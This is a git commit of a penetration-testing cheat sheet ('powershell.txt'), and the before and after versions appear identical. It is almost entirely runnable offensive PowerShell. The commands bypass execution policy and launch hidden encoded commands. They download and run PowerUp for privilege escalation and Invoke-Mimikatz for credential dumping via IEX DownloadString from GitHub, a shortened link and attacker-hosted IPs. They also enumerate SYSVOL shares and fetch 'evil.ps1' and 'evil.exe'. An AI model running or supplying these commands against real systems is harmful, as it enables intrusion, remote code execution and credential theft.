<commit_before>PowerShell


C:\> powershell.exe -exec bypass        Start PowerShell bypass execution policy.
C:\> powershell.exe -NoP -sta -NonI -W Hidden -Enc <code>

PS C:\> mode 300                        Full screen.
PS C:\> Get-Command                     Show all commands.
PS C:\> Get- <tab>                      Tab through each command.
PS C:\> Get-History                     Show Command history.
PS C:\> Get-Process                     Show current running processes.
------------------------------------------------------------------------------------------------------

# Priv escalation

- Load from disk
PS C:\> Import-Module PowerUp.ps1
PS C:\> Invoke-AllChecks

- Load from GitHub
PS C:\> "IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/1PdjSHk');Invoke-PowerUp"
PS C:\> Invoke-AllChecks

- Load from Kali
cd /opt/Empire/data/module_source/privesc/
python -m SimpleHTTPServer

- Windows
PS C:\> "IEX (New-Object Net.WebClient).DownloadString('http://172.16.16.214:8000/PowerUp.ps1');Invoke-PowerUp"
PS C:\> Invoke-AllChecks
------------------------------------------------------------

# Dump creds

- Load from GitHub
PS C:\> "IEX (New-Object Net.WebClient).DownloadString('https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz"

- Load from Kali
cd /opt/Empire/data/module_source/credentials/
python -m SimpleHTTPServer

- Windows
PS C:\> "IEX (New-Object Net.WebClient).DownloadString('http://172.16.16.214:8000/Invoke-Mimikatz.ps1');Invoke-Mimikatz"
------------------------------------------------------------------------------------------------------

# Open fileshares

PS C:\> Import-Module powerview.ps1
PS C:\> Invoke-ShareFinder -CheckShareAccess

PS C:\> New-PSDrive S -PSProvider FileSystem -Root \\10.0.0.14\SYSVOL
PS C:\> PSDrive
PS C:\> Remove-PSDrive S
------------------------------------------------------------------------------------------------------

# Download file
IEX(New-Object System.Net.Webclient).DownloadString(‘http://10.0.0.10/evil.ps1’)

# Download file to disk
IEX(New-Object System.Net.Webclient).DownloadFile(‘http://10.1.1.100/evil.exe’, ‘good.exe’)<commit_msg>Update powershell.txt<commit_after>PowerShell


C:\> powershell.exe -exec bypass        Start PowerShell bypass execution policy.
C:\> powershell.exe -NoP -sta -NonI -W Hidden -Enc <code>

PS C:\> mode 300                        Full screen.
PS C:\> Get-Command                     Show all commands.
PS C:\> Get- <tab>                      Tab through each command.
PS C:\> Get-History                     Show Command history.
PS C:\> Get-Process                     Show current running processes.
------------------------------------------------------------------------------------------------------

# Priv escalation

- Load from disk
PS C:\> Import-Module PowerUp.ps1
PS C:\> Invoke-AllChecks

- Load from GitHub
PS C:\> "IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/1PdjSHk');Invoke-PowerUp"
PS C:\> Invoke-AllChecks

- Load from Kali
cd /opt/Empire/data/module_source/privesc/
python -m SimpleHTTPServer

- Windows
PS C:\> "IEX (New-Object Net.WebClient).DownloadString('http://172.16.16.214:8000/PowerUp.ps1');Invoke-PowerUp"
PS C:\> Invoke-AllChecks
------------------------------------------------------------------------------------------------------

# Dump creds

- Load from GitHub
PS C:\> "IEX (New-Object Net.WebClient).DownloadString('https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz"

- Load from Kali
cd /opt/Empire/data/module_source/credentials/
python -m SimpleHTTPServer

- Windows
PS C:\> "IEX (New-Object Net.WebClient).DownloadString('http://172.16.16.214:8000/Invoke-Mimikatz.ps1');Invoke-Mimikatz"
------------------------------------------------------------------------------------------------------

# Open fileshares

PS C:\> Import-Module powerview.ps1
PS C:\> Invoke-ShareFinder -CheckShareAccess

PS C:\> New-PSDrive S -PSProvider FileSystem -Root \\10.0.0.14\SYSVOL
PS C:\> PSDrive
PS C:\> Remove-PSDrive S
------------------------------------------------------------------------------------------------------

# Download file
IEX(New-Object System.Net.Webclient).DownloadString(‘http://10.0.0.10/evil.ps1’)

# Download file to disk
IEX(New-Object System.Net.Webclient).DownloadFile(‘http://10.1.1.100/evil.exe’, ‘good.exe’)
{'fraction_non_alphanumeric': 0.2918173598553345, 'fraction_numerical': 0.025768535262206148, 'mean_word_length': 1.6640577965081276, 'pattern_counts': {'":': 0, '<': 7, '<?xml version=': 0, '>': 47, 'https://': 2, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 10, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 16, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '1162128', 'n_tokens_mistral': 1375, 'n_tokens_neox': 1273, 'n_words': 304}